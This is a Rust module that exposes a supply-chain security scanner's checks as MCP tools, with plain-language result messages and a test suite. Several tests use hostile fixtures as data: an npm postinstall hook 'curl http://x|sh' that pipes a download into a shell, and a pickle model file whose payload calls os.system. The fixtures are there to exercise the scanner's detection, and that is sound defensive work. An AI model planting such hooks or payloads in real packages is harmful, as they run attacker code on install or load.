//! What the tools actually do, and how they say it. //! //! Every result here is written to be read twice: once by the model that //! called the tool, and once by the human reading that model's summary. //! That rules out two things Hound's CLI can get away with. //! //! **No rule identifiers, no jargon.** `hound-slopsquat-a` tells a model //! nothing it can act on and tells a person less than nothing. //! //! **No ambiguity about severity.** A model reading "1 warning" may well //! decide to proceed. It needs the consequence spelled out — *this runs //! code during installation*, *this reads your SSH key at startup* — and //! an explicit recommendation, because the whole point is that it makes a //! decision on the strength of this text. use hound_supply::{lockfile, mcp, pickle, sweep, Severity}; use serde_json::Value; use std::path::Path; /// Run one tool. pub fn call(name: &str, args: &Value) -> Result { match name { "hound_check_project" => check_project(args), "hound_check_package" => check_package(args), "hound_check_file" => check_file(args), "hound_check_mcp_config" => check_mcp_config(args), other => Err(format!("unknown tool: {other}")), } } fn arg<'a>(args: &'a Value, key: &str) -> Result<&'a str, String> { args.get(key) .and_then(Value::as_str) .filter(|s| !s.is_empty()) .ok_or_else(|| format!("`{key}` is required.")) } /// Reject a path that does not exist, with a message a model can act on. fn existing(path: &str) -> Result<&Path, String> { let p = Path::new(path); if !p.exists() { return Err(format!( "There is nothing at {path}. Check the path — it must be absolute, and the file \ or directory has to exist already." )); } Ok(p) } fn check_project(args: &Value) -> Result { let path = arg(args, "path")?; let dir = existing(path)?; if !dir.is_dir() { return Err(format!( "{path} is a file, not a directory. Use hound_check_file for a single file." )); } let report = sweep::sweep(dir); let critical = report.count(Severity::Critical); let warnings = report.count(Severity::Warning); if report.is_clean() { return Ok(format!( "Checked {} file(s) in {path} and found nothing wrong.\n\n\ No malicious dependencies, no install scripts that run code automatically, no \ files carrying instructions aimed at an AI assistant, no over-privileged MCP \ servers, and no model files that execute code when loaded.\n\n\ Note: this checks the project's contents and its dependency lists. It is not a \ review of the project's own source code.", report.examined )); } let mut out = String::new(); out.push_str(&format!( "Found {critical} critical and {warnings} lower-severity issue(s) across {} file(s) in \ {path}.\n\n", report.examined )); if critical > 0 { out.push_str( "RECOMMENDATION: do not install this project's dependencies and do not run its \ scripts until a person has looked at the critical findings below. Several of \ these classes execute code during installation, before any of the project's own \ code runs.\n\n", ); } for f in &report.findings { let label = match f.severity { Severity::Critical => "CRITICAL", Severity::Warning => "WARNING", Severity::Info => "NOTE", }; out.push_str(&format!("[{label}] {}\n", f.subject)); out.push_str(&format!(" where: {}\n", f.location)); out.push_str(&format!(" what: {}\n", f.explanation)); out.push_str(&format!(" do: {}\n\n", f.advice)); } Ok(out) } fn check_package(args: &Value) -> Result { let ecosystem = arg(args, "ecosystem")?; let name = arg(args, "name")?; let version = args.get("version").and_then(Value::as_str).unwrap_or(""); let spec = if version.is_empty() { name.to_string() } else { format!("{name}@{version}") }; // Typosquat and slopsquat detection works without a feed, because it // is a judgement about the NAME rather than a lookup. Registry // metadata sharpens it and is unavailable here, so this is // deliberately the weaker of the two answers and says so. let meta = hound_supply::typosquat::PackageMeta { name: name.to_string(), version: version.to_string(), age_days: None, downloads: None, }; let findings = hound_supply::typosquat::scan(&meta, "(name check)"); if findings.is_empty() { return Ok(format!( "Nothing known against {spec} in the {ecosystem} registry.\n\n\ This checked the name for resemblance to popular packages. It did not check the \ package's contents — for that, install it into a project and run \ hound_check_project, which reads install scripts and lockfiles." )); } let mut out = String::new(); for f in &findings { out.push_str(&format!("{}\n\n{}\n\nWhat to do: {}\n", f.subject, f.explanation, f.advice)); } Ok(out) } fn check_file(args: &Value) -> Result { let path = arg(args, "path")?; let file = existing(path)?; if file.is_dir() { return Err(format!( "{path} is a directory. Use hound_check_project to check a whole project." )); } let md = std::fs::metadata(file).map_err(|e| format!("Could not read {path}: {e}"))?; let mut findings = sweep::scan_file(file, md.len()); // A lockfile is worth naming even when clean: knowing what would be // installed is often the reason the tool was called. let name = file .file_name() .map(|n| n.to_string_lossy().to_ascii_lowercase()) .unwrap_or_default(); let mut extra = String::new(); if lockfile::is_lockfile(&name) { if let Ok(text) = std::fs::read_to_string(file) { let pkgs = lockfile::parse(file, &text); extra = format!( "\n\nThis is a lockfile listing {} dependency/dependencies. Checking each one \ against known-malicious packages needs the Hound daemon, which is not \ required for the checks above.", pkgs.len() ); } } if pickle::is_pickle_extension(&name) && findings.is_empty() { extra.push_str( "\n\nThis is a model file. Nothing dangerous was found in its header, but prefer a \ safetensors version where one exists — that format cannot carry code at all.", ); } if findings.is_empty() { return Ok(format!("Nothing wrong with {path}.{extra}")); } findings.sort_by(|a, b| b.severity.cmp(&a.severity)); let mut out = String::new(); for f in &findings { let label = match f.severity { Severity::Critical => "CRITICAL", Severity::Warning => "WARNING", Severity::Info => "NOTE", }; out.push_str(&format!( "[{label}] {}\n\n{}\n\nWhat to do: {}\n\n", f.subject, f.explanation, f.advice )); } out.push_str(&extra); Ok(out) } fn check_mcp_config(args: &Value) -> Result { let path = arg(args, "path")?; let file = existing(path)?; let text = std::fs::read_to_string(file).map_err(|e| format!("Could not read {path}: {e}"))?; let findings = mcp::scan_config(&text, path); if findings.is_empty() { return Ok(format!( "The MCP servers configured in {path} look reasonable.\n\n\ None of them download their code fresh from the internet on every launch without \ a pinned version, none are handed API tokens or secrets alongside unpinned code, \ and none are pointed at a home directory or at credential paths.\n\n\ Worth remembering anyway: every server listed there runs with your permissions \ and its tools are called by an assistant without asking you first." )); } let mut out = format!("Found {} issue(s) in {path}.\n\n", findings.len()); for f in &findings { let label = match f.severity { Severity::Critical => "CRITICAL", Severity::Warning => "WARNING", Severity::Info => "NOTE", }; out.push_str(&format!( "[{label}] server \"{}\"\n\n{}\n\nWhat to do: {}\n\n", f.subject, f.explanation, f.advice )); } Ok(out) } #[cfg(test)] mod tests { use super::*; use serde_json::json; fn tmp(tag: &str) -> std::path::PathBuf { let d = std::env::temp_dir().join(format!( "hound-mcp-{tag}-{}-{:?}", std::process::id(), std::thread::current().id() )); let _ = std::fs::remove_dir_all(&d); std::fs::create_dir_all(&d).unwrap(); d } // ── arguments ── #[test] fn a_missing_argument_is_explained_rather_than_defaulted() { let e = call("hound_check_project", &json!({})).unwrap_err(); assert!(e.contains("`path` is required")); } #[test] fn a_nonexistent_path_says_what_is_wrong_with_it() { let e = call("hound_check_project", &json!({"path": "/no/such/place"})).unwrap_err(); assert!(e.contains("nothing at")); assert!(e.contains("absolute"), "the model needs to know what to fix"); } #[test] fn a_file_passed_to_the_project_tool_is_redirected() { let d = tmp("redirect"); let f = d.join("x.txt"); std::fs::write(&f, b"hi").unwrap(); let e = call("hound_check_project", &json!({"path": f.to_str().unwrap()})).unwrap_err(); assert!(e.contains("hound_check_file"), "say which tool to use instead"); let _ = std::fs::remove_dir_all(&d); } #[test] fn a_directory_passed_to_the_file_tool_is_redirected() { let d = tmp("redirect2"); let e = call("hound_check_file", &json!({"path": d.to_str().unwrap()})).unwrap_err(); assert!(e.contains("hound_check_project")); let _ = std::fs::remove_dir_all(&d); } // ── project ── #[test] fn a_clean_project_says_so_and_says_what_it_did_not_check() { let d = tmp("clean"); std::fs::write(d.join("package.json"), r#"{"name":"a","scripts":{"build":"tsc"}}"#) .unwrap(); let out = call("hound_check_project", &json!({"path": d.to_str().unwrap()})).unwrap(); assert!(out.contains("found nothing wrong")); assert!( out.contains("not a review of the project's own source code"), "a clean result must not imply more assurance than it has" ); let _ = std::fs::remove_dir_all(&d); } #[test] fn a_malicious_postinstall_gets_an_explicit_recommendation() { let d = tmp("evil"); std::fs::create_dir_all(d.join("node_modules/bad")).unwrap(); std::fs::write( d.join("node_modules/bad/package.json"), r#"{"name":"bad","version":"1.0.0","scripts":{"postinstall":"curl http://x|sh"}}"#, ) .unwrap(); let out = call("hound_check_project", &json!({"path": d.to_str().unwrap()})).unwrap(); assert!(out.contains("CRITICAL")); assert!( out.contains("RECOMMENDATION: do not install"), "a model reading this must not decide to proceed" ); assert!(out.contains("before any of the project's own code runs")); let _ = std::fs::remove_dir_all(&d); } #[test] fn output_never_leaks_rule_identifiers() { // The model puts this in front of a person. A rule id helps // neither of them. let d = tmp("jargon"); std::fs::create_dir_all(d.join("node_modules/bad")).unwrap(); std::fs::write( d.join("node_modules/bad/package.json"), r#"{"name":"bad","scripts":{"postinstall":"curl http://x|sh"}}"#, ) .unwrap(); let out = call("hound_check_project", &json!({"path": d.to_str().unwrap()})).unwrap(); for jargon in ["hound-install-", "hound-slopsquat", "yara", "MAL-", "regex"] { assert!(!out.contains(jargon), "output leaks {jargon:?}:\n{out}"); } let _ = std::fs::remove_dir_all(&d); } // ── file ── #[test] fn a_poisoned_model_file_is_reported_with_the_consequence() { let d = tmp("pickle"); std::fs::write(d.join("w.ckpt"), b"\x80\x04cos\nsystem\n\x85R.").unwrap(); let out = call("hound_check_file", &json!({"path": d.join("w.ckpt").to_str().unwrap()})) .unwrap(); assert!(out.contains("CRITICAL")); assert!(out.contains("safetensors"), "name the safe alternative"); let _ = std::fs::remove_dir_all(&d); } #[test] fn a_clean_model_file_still_suggests_safetensors() { let d = tmp("cleanmodel"); std::fs::write(d.join("w.ckpt"), b"\x80\x04ctorch\nFloatStorage\n\x85R.").unwrap(); let out = call("hound_check_file", &json!({"path": d.join("w.ckpt").to_str().unwrap()})) .unwrap(); assert!(out.contains("safetensors")); let _ = std::fs::remove_dir_all(&d); } #[test] fn a_lockfile_reports_how_many_dependencies_it_names() { let d = tmp("lock"); std::fs::write( d.join("Cargo.lock"), "[[package]]\nname = \"serde\"\nversion = \"1.0\"\n", ) .unwrap(); let out = call("hound_check_file", &json!({"path": d.join("Cargo.lock").to_str().unwrap()})) .unwrap(); assert!(out.contains("1 dependency")); let _ = std::fs::remove_dir_all(&d); } // ── mcp config ── #[test] fn an_unpinned_server_holding_a_token_is_critical() { let d = tmp("mcp"); let f = d.join("mcp.json"); std::fs::write( &f, r#"{"mcpServers":{"gh":{"command":"npx","args":["-y","mcp-github-tools"], "env":{"GITHUB_TOKEN":"x"}}}}"#, ) .unwrap(); let out = call("hound_check_mcp_config", &json!({"path": f.to_str().unwrap()})).unwrap(); assert!(out.contains("CRITICAL")); assert!(out.contains("rotate")); let _ = std::fs::remove_dir_all(&d); } #[test] fn a_clean_mcp_config_still_reminds_you_what_a_server_can_do() { let d = tmp("mcpclean"); let f = d.join("mcp.json"); std::fs::write( &f, r#"{"mcpServers":{"p":{"command":"/usr/local/bin/mcp-p","args":["--root","/srv/a"]}}}"#, ) .unwrap(); let out = call("hound_check_mcp_config", &json!({"path": f.to_str().unwrap()})).unwrap(); assert!(out.contains("look reasonable")); assert!( out.contains("runs with your permissions"), "a clean audit should not read as a blanket endorsement" ); let _ = std::fs::remove_dir_all(&d); } // ── packages ── #[test] fn a_slopsquat_name_is_flagged_without_registry_metadata() { let out = call( "hound_check_package", &json!({"ecosystem":"npm","name":"expres","version":"4.0.0"}), ) .unwrap(); assert!(out.contains("express"), "name the package they probably meant"); } #[test] fn an_unremarkable_package_is_reported_clean_with_its_limits() { let out = call( "hound_check_package", &json!({"ecosystem":"npm","name":"hound-supply-test-xyz"}), ) .unwrap(); assert!(out.contains("Nothing known against")); assert!( out.contains("did not check the package's contents"), "a name check must not read as a content check" ); } #[test] fn an_unknown_tool_is_rejected() { assert!(call("hound_rm_rf", &json!({})).is_err()); } }